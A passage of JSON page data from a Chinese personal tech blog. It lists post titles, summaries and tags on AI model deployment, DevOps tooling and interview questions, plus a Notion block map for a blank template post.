dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"95ddf5c1-569e-4c61-a1e8-6507fe59fc97":{"value":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","version":7,"type":"page","content":["c4ae2757-06af-414a-a57e-b220235fe4f8","51246bd8-8b54-4aed-8890-6ff7f9754758","e47b90fd-4cef-4aa7-8253-733c2fb825c6","51e5efa1-5316-4f26-a034-a63d627d119a","1a99baa7-cd61-4f67-a8db-a8b44045a3a3","68a4a544-5986-4d0e-838e-5d896c28d491","6f00b74f-9168-4ba4-9b78-02b073817e2e","575c2b55-b7ab-415d-ab01-7127fa80b461","3059d59e-6321-4cf7-b83b-980793108c72","e22d3df7-942e-4ba6-bcb5-d98043c85699","af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","7618802b-85cf-439d-9bf7-b309f06ab819","516b8278-e818-46dc-ada0-b6c50c617bb1","45d1a941-6e76-44ee-b686-c9048159b959"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337109,"last_edited_time":1705630803738,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"c4ae2757-06af-414a-a57e-b220235fe4f8":{"value":{"id":"c4ae2757-06af-414a-a57e-b220235fe4f8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["0e0a78c5-5bce-4d66-9749-760aba8bf0e2"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"cb5d573a-b79c-4194-8352-893d809df35a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"cb5d573a-b79c-4194-8352-893d809df35a"}},"51246bd8-8b54-4aed-8890-6ff7f9754758":{"value":{"id":"51246bd8-8b54-4aed-8890-6ff7f9754758","type":"text","format":{"copied_from_pointer":{"id":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85"}},"e47b90fd-4cef-4aa7-8253-733c2fb825c6":{"value":{"id":"e47b90fd-4cef-4aa7-8253-733c2fb825c6","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"f75da7bd-9726-4cba-89b7-20dc21133a56","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f75da7bd-9726-4cba-89b7-20dc21133a56"}},"51e5efa1-5316-4f26-a034-a63d627d119a":{"value":{"id":"51e5efa1-5316-4f26-a034-a63d627d119a","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce"}},"1a99baa7-cd61-4f67-a8db-a8b44045a3a3":{"value":{"id":"1a99baa7-cd61-4f67-a8db-a8b44045a3a3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"29527844-3175-4d0b-a8be-cb7e207c32b2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"29527844-3175-4d0b-a8be-cb7e207c32b2"}},"68a4a544-5986-4d0e-838e-5d896c2